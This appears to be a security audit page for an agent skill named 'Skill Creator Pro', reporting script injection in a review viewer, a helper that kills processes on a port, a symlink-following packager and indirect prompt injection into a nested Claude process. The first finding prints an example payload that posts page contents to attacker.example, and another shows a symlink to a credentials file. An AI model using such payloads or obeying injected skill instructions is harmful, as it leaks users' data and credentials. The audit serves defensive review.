Back to skill

Security audit

Skill Creator Pro

Security checks for vulnerabilities and agentic risk

Overview

This skill is coherent for creating and testing other skills, but several helper tools can affect local processes or expose local/evaluation data in ways users should review first.

Review this before installing, especially if you will evaluate skills from untrusted authors. Avoid running the viewer with elevated privileges, prefer static output where possible, check that port 3117 is not used before starting the server, inspect skill directories for symlinks before packaging, and do not send proprietary or secret-containing skill/eval content through the description optimizer unless that external Claude CLI use is acceptable.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
eval-viewer/generate_review.py:272
Finding
Stored Script Injection Through Unsafe JSON Embedding in Review Pages<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:272-281` **Vulnerability Type**: Stored script injection in generated HTML **Risk Level**: High ### Complete Code Snippet ```python embedded = { "skill_name": skill_name, "runs": runs, "previous_feedback": previous_feedback, "previous_outputs": previous_outputs, } if benchmark: embedded["benchmark"] = benchmark data_json = json.dumps(embedded) return template.replace( "/*__EMBEDDED_DATA__*/", f"const EMBEDDED_DATA = {data_json};" ) ``` ### Technical Analysis The generator serializes evaluation data with `json.dumps()` and inserts the resulting JSON directly into an executable `<script>` element in `viewer.html`. JSON string escaping is not sufficient for embedding data inside an HTML script element. In particular, `json.dumps()` does not escape the HTML parser-sensitive sequence `</script>`. If an untrusted prompt, generated output, grading result, previous feedback value, or benchmark field contains this sequence, the browser terminates the surrounding script element regardless of whether the sequence occurs inside a JavaScript string. An attacker-controlled value can therefore inject a new script element, for example: ```html </script><script> fetch("https://attacker.example/collect", { method: "POST", body: document.documentElement.innerHTML }); </script> ``` This is especially relevant because the viewer is explicitly intended to process artifacts produced by evaluated Skills and agents. Those artifacts must be treated as untrusted. ### Attack Path 1. An attacker supplies or influences a Skill being evaluated. 2. The Skill writes an output file or grading-related value containing a `</script>` payload. 3. `generate_review.py` reads the malicious content and places it in the `runs` or related embedded data structure. 4. `json.dumps()` preserves the dangerous HTML closing-tag sequence. 5. `generate_html()` inserts the serialized v ...[truncated 1167 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not interpolate raw JSON into executable JavaScript. 2. Store the data in a non-executable element and parse its `textContent`: ```html <script id="embedded-data" type="application/json"> <!-- Safely encoded JSON --> </script> <script> const EMBEDDED_DATA = JSON.parse( document.getElementById("embedded-data").textContent ); </script> ``` 3. Before embedding JSON in HTML, escape at least the HTML-sensitive characters: ```python data_json = ( json.dumps(embedded) .replace("<", "\\u003c") .replace(">", "\\u003e") .replace("&", "\\u0026") .replace("\u2028", "\\u2028") .replace("\u2029", "\\u2029") ) ``` 4. Add a restrictive Content Security Policy. Prefer a nonce or hash for trusted scripts and disallow arbitrary inline execution. 5. Avoid loading external resources unless necessary. If network access is not required, use a policy such as `connect-src 'self'` and bundle required assets locally. 6. Add regression tests using payloads containing `</script>`, nested tags, Unicode separators, and event-handler markup. 7. Treat every prompt, output file, grading field, benchmark field, and feedback value as attacker-controlled. ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
eval-viewer/generate_review.py:288
Finding
Viewer Startup Terminates Unrelated Processes Listening on the Selected Port<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:288-302, 439-443` **Vulnerability Type**: Unauthorized process termination **Risk Level**: Medium ### Complete Code Snippet ```python def _kill_port(port: int) -> None: """Kill any process listening on the given port.""" try: result = subprocess.run( ["lsof", "-ti", f":{port}"], capture_output=True, text=True, timeout=5, ) for pid_str in result.stdout.strip().split("\n"): if pid_str.strip(): try: os.kill(int(pid_str.strip()), signal.SIGTERM) except (ProcessLookupError, ValueError): pass if result.stdout.strip(): time.sleep(0.5) except subprocess.TimeoutExpired: pass except FileNotFoundError: print("Note: lsof not found, cannot check if port is in use", file=sys.stderr) ``` The function is called unconditionally before starting the server: ```python # Kill any existing process on the target port port = args.port _kill_port(port) handler = partial( ReviewHandler, workspace, skill_name, feedback_path, previous, benchmark_path, ) try: server = HTTPServer(("127.0.0.1", port), handler) except OSError: server = HTTPServer(("127.0.0.1", 0), handler) port = server.server_address[1] ``` ### Technical Analysis The viewer invokes `lsof` to identify every process listening on the selected port and sends `SIGTERM` to each returned process. It does not verify that the process is a previous instance of this viewer, confirm process ownership or command identity, or ask the user for approval. The default port is fixed at `3117`, so an unrelated application legitimately using that port can be terminated merely by starting the review viewer. Port discovery is sufficient; terminating an unknown listener is not necessary for the declared review functionality because the impl ...[truncated 1515 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove `_kill_port()` and never terminate an unidentified listener automatically. 2. Attempt to bind the requested port first. If it is unavailable, either: - Bind to port `0` and report the assigned ephemeral port; or - Exit with a clear error and require the user to select another port. 3. If cleanup of an earlier viewer instance is required, maintain a PID file containing: - The viewer PID. - A random instance identifier. - The workspace path. - The server start time. 4. Before terminating a recorded PID, verify that it still belongs to the expected viewer command and user. 5. Ask for explicit confirmation before terminating any process. 6. Document that the viewer should never be run with elevated privileges. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/package_skill.py:96
Finding
Skill Packaging Follows Symbolic Links and Can Archive Files Outside the Skill Directory<![CDATA[ ## Vulnerability Details **File Location**: `scripts/package_skill.py:96-109` **Vulnerability Type**: Symbolic-link traversal and unintended data disclosure **Risk Level**: High ### Complete Code Snippet ```python # Create the .skill file (zip format) try: with zipfile.ZipFile(skill_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: # Walk through the skill directory, excluding build artifacts for file_path in skill_path.rglob('*'): if not file_path.is_file(): continue arcname = file_path.relative_to(skill_path.parent) if should_exclude(arcname): print(f" Skipped: {arcname}") continue zipf.write(file_path, arcname) print(f" Added: {arcname}") print(f"\n✅ Successfully packaged skill to: {skill_filename}") return skill_filename ``` ### Technical Analysis The packager recursively enumerates entries and uses `Path.is_file()` followed by `zipfile.ZipFile.write()`. `Path.is_file()` follows symbolic links. The implementation does not reject symlinks and does not verify that each file's resolved target remains within the resolved Skill directory. Consequently, a symbolic link located inside a Skill can point to a regular file outside the Skill tree. The symlink path passes `is_file()`, and `zipf.write()` can read the external target and place its content into the archive under the symlink's in-Skill archive name. The exclusion rules only inspect the lexical relative path. They do not inspect the resolved target, so a link named like a harmless asset can expose an arbitrary readable file. ### Attack Path 1. An attacker supplies a crafted Skill directory containing a symbolic link, for example: ```text malicious-skill/assets/config.json -> /home/user/.config/service/credentials.json ``` 2. The directory otherwise contains a valid `SKILL.md`, allowing validation to succeed. 3. The user runs: ```bash python -m scripts.p ...[truncated 1159 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Reject every symbolic link encountered during packaging: ```python if file_path.is_symlink(): raise ValueError(f"Symbolic links are not permitted: {file_path}") ``` 2. Resolve each candidate and verify that it remains inside the resolved Skill root: ```python root = skill_path.resolve() resolved = file_path.resolve(strict=True) if not resolved.is_relative_to(root): raise ValueError(f"Path escapes skill directory: {file_path}") ``` 3. Require candidates to be regular files using `lstat()` so symlink status is checked without following the link. 4. Perform the containment check immediately before opening the file to reduce time-of-check/time-of-use exposure. 5. Consider opening files with platform-supported no-follow semantics, such as `O_NOFOLLOW`, where available. 6. Package from a controlled staging directory created by copying only approved regular files. 7. Add tests covering: - File symlinks to paths outside the Skill. - Directory symlinks. - Broken symlinks. - Nested symlink chains. - Links targeting excluded files. 8. Fail packaging rather than silently following or skipping unexpected filesystem object types. ]]>

T01 · Skill Instruction Hijacking

Warning
Location
scripts/improve_description.py:21
Finding
Untrusted Skill Instructions Are Passed to a Tool-Capable Claude Process Without Isolation<![CDATA[ ## Vulnerability Details **File Location**: `scripts/improve_description.py:21-43, 125-153` **Vulnerability Type**: Indirect prompt injection through untrusted Skill content **Risk Level**: Medium ### Complete Code Snippet The nested Claude process inherits the caller's environment except for one variable: ```python def _call_claude(prompt: str, model: str | None, timeout: int = 300) -> str: """Run `claude -p` with the prompt on stdin and return the text response.""" cmd = ["claude", "-p", "--output-format", "text"] if model: cmd.extend(["--model", model]) env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"} result = subprocess.run( cmd, input=prompt, capture_output=True, text=True, env=env, timeout=timeout, ) if result.returncode != 0: raise RuntimeError( f"claude -p exited {result.returncode}\nstderr: {result.stderr}" ) return result.stdout ``` The complete Skill body is inserted directly into the optimization prompt: ```python prompt += f"""</scores_summary> Skill content (for context on what the skill does): <skill_content> {skill_content} </skill_content> Based on the failures, write a new and improved description that is more likely to trigger correctly. When I say "based on the failures", it's a bit of a tricky line to walk because we don't want to overfit to the specific cases you're seeing. So what I DON'T want you to do is produce an ever-expanding list of specific queries that this skill should or shouldn't trigger for. Instead, try to generalize from the failures to broader categories of user intent and situations where this skill would be useful or not useful. The reason for this is twofold: 1. Avoid overfitting 2. The list might get loooong and it's injected into ALL queries and there might be a lot of skills, so we don't want to blow too much space on any given description. Concretely, your descript ...[truncated 4004 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Run description optimization in a text-only mode with all tools, filesystem access, network access, and command execution disabled. 2. Use a minimal environment rather than inheriting nearly all variables: ```python env = { "PATH": trusted_path, "HOME": isolated_home, "LANG": "C.UTF-8", } ``` 3. Run the subprocess in a newly created empty working directory with restrictive permissions. 4. Explicitly state that Skill content is untrusted quoted data and that instructions inside it must never be followed. This reduces but does not eliminate prompt-injection risk. 5. Encode the Skill content as a structured data field rather than relying only on XML-like delimiters. 6. Consider supplying a separately generated factual summary instead of the complete executable instruction body. 7. Validate the returned description against a restrictive policy: - Enforce the 1,024-character limit in code. - Reject markup, tool directives, URLs, hidden control characters, and instruction-override phrases where inappropriate. - Ensure the output describes only the declared Skill purpose. 8. Show the proposed description to the user and require explicit confirmation before modifying `SKILL.md`. 9. Preserve and display a before-and-after diff. 10. Treat evaluation queries, history fields, Skill names, and current descriptions as untrusted prompt-injection inputs as well. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (22)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The declared description centers on skill authoring, editing, optimization, and running evals on skills. This code does not create or modify skills, optimize descriptions, or execute evals. Instead, it implements an eval-review web viewer for existing workspace results, including file discovery, HTML generation, local serving, benchmark display, and persistence of human feedback. While review of eval outputs is adjacent to skill evaluation, the primary purpose is materially narrower and different: viewing and annotating eval results, not building or improving skills directly. It also performs undeclared operational capabilities such as launching a web server, opening a browser, writing feedback files, and terminating processes on a port.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
There is a clear mismatch between the declared purpose and the actual code behavior. The description claims the skill is for authoring, improving, and evaluating skills, including eval-driven iteration and trigger optimization. However, the supplied code only validates a skill directory and packages it into a .skill file. Its primary purpose is distribution/build packaging, not creation, modification, optimization, or evaluation of skill quality. While validation is loosely related to skill management, the main functionality is materially different from the declared description.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The declared description presents a broad skill authoring and evaluation capability: creating skills, editing or optimizing them, running evals, and benchmarking performance. The supplied code does none of those things. It only performs static validation of a skill's SKILL.md frontmatter and naming/length rules. While validation could be a supporting utility within a larger skill-development workflow, this code chunk's actual primary purpose is narrow format validation, which is materially different from the declared end-to-end creation/improvement/evaluation behavior.

Vague Triggers

High
Confidence
97% confidence
Finding
The trigger guidance is intentionally broad, including generic phrases like making, improving, testing, or optimizing a skill, and encourages invocation from many loosely defined contexts. In a high-capability skill with shell, file, eval, packaging, and process-management behaviors, over-triggering increases the chance it activates in situations where a narrower, safer skill or direct assistance would be more appropriate.

Ae1

High
Category
analysis-evasion
Content
1. Read the template from `assets/eval_review.html`
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Context-Inappropriate Capability

High
Confidence
97% confidence
Finding
The helper unconditionally finds any PID listening on the requested port and sends SIGTERM, regardless of whether the process belongs to this tool. That can disrupt unrelated local services, developer tools, databases, or security-sensitive software, creating a denial-of-service condition on the host when the script is run.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
# Remove CLAUDECODE env var to allow nesting claude -p inside a
    # Claude Code session. The guard is for interactive terminal conflicts;
    # programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
Confidence
70% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
# Remove CLAUDECODE env var to allow nesting claude -p inside a
    # Claude Code session. The guard is for interactive terminal conflicts;
    # programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
Confidence
70% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Agent Config Directory Access

High
Category
Agent Snooping
Content
def find_project_root() -> Path:
    """Find the project root by walking up from cwd looking for .claude/.

    Mimics how Claude Code discovers its project root, so the command file
    we create ends up where claude -p will look for it.
Confidence
85% confidence
Finding
The script intentionally discovers a parent project root by locating .claude/ and then writes a temporary command file into that agent configuration directory. In the context of an eval tool, this modifies trusted agent-discovery state and could affect or poison other Claude runs in the same project if cleanup fails or concurrent runs collide, making it more sensitive than ordinary temp-file usage.

Lp3

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding
The skill instructs use of shell commands, filesystem reads/writes, environment-dependent tooling, and process control, but it does not declare any explicit tool scope or allowed-tools boundary. In a skill that can create, run, and package other skills, missing scope makes unintended or overly privileged execution easier and weakens reviewability of what the skill is permitted to do.

Vague Triggers

Medium
Confidence
92% confidence
Finding
The instruction to make descriptions 'pushy' systematically biases generated skills toward vague or overly expansive trigger conditions. Because this skill is itself a skill generator, that pattern can propagate broad auto-invocation behavior into downstream skills, multiplying the operational and security risk of accidental use of powerful capabilities.

Session Persistence

Medium
Category
Rogue Agent
Content
4. **Launch the viewer** with both qualitative outputs and quantitative data:
   ```bash
   nohup python <skill-creator-path>/eval-viewer/generate_review.py \
     <workspace>/iteration-N \
     --skill-name "my-skill" \
     --benchmark <workspace>/iteration-N/benchmark.json \
Confidence
81% confidence
Finding
Using `nohup` to launch a background viewer introduces session persistence beyond the immediate interaction and can leave long-lived processes serving local content after the task is complete. In this skill's context, that persisted process may continue exposing review artifacts or consume resources if cleanup fails or is skipped.

Intent-Code Divergence

Medium
Confidence
84% confidence
Finding
Lines L189-L191 state that when analyzing benchmark results, the analyzer's purpose is only to surface patterns and anomalies and not suggest skill improvements. This contradicts the enclosing skill's documented purpose of improving and optimizing skills through eval-driven iteration, creating an intent mismatch in the skill documentation.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
def _kill_port(port: int) -> None:
    """Kill any process listening on the given port."""
    try:
        result = subprocess.run(
            ["lsof", "-ti", f":{port}"],
            capture_output=True, text=True, timeout=5,
        )
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The main flow invokes the port-killing routine automatically before server startup, with no warning or consent. In a skill meant to create and iterate on other skills, users may run this utility routinely, increasing the chance of accidentally terminating unrelated local applications and causing avoidable workflow disruption or data loss.

Context-Inappropriate Capability

Medium
Confidence
85% confidence
Finding
The manifest describes a skill for creating, editing, and evaluating skills, including optimizing descriptions. While using an LLM to generate text is consistent with that purpose, this implementation does so by spawning an external subprocess and inheriting nearly the full environment, which is a broader execution capability than the manifest suggests. That subprocess boundary can expose ambient credentials or system-level behavior not implied by a description-optimization tool.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
        input=prompt,
        capture_output=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The script sends full skill content, eval results, and history to an external model process without any consent gate, redaction, or warning at the point of transfer. If SKILL.md or eval artifacts contain secrets, proprietary logic, or sensitive user data, this creates an unintended data-exposure path to the external model backend.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# programmatic subprocess usage is safe.
        env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

        process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Context-Inappropriate Capability

Medium
Confidence
86% confidence
Finding
The manifest describes functionality around skill creation, modification, optimization, and eval-driven measurement. Automatically launching a browser is not necessary to perform those tasks and introduces an OS-level side effect outside the core scope of skill improvement.

Missing User Warnings

Low
Confidence
93% confidence
Finding
The instructions require writing `grading.json` to `{outputs_dir}/../grading.json`, which explicitly directs the agent to modify a file outside the designated output directory boundary. If `outputs_dir` is attacker-controlled or unexpectedly resolved, this can enable unintended file writes to sibling locations and weakens containment assumptions for the grader.

Missing User Warnings

Low
Confidence
87% confidence
Finding
This is a code file, so missing-warning checks apply to safety-relevant file operations. The script performs file writes to user-specified or default output paths, but there is no confirmation prompt or explicit overwrite warning before writing, which could silently replace existing benchmark artifacts.

Static analysis

No suspicious patterns detected.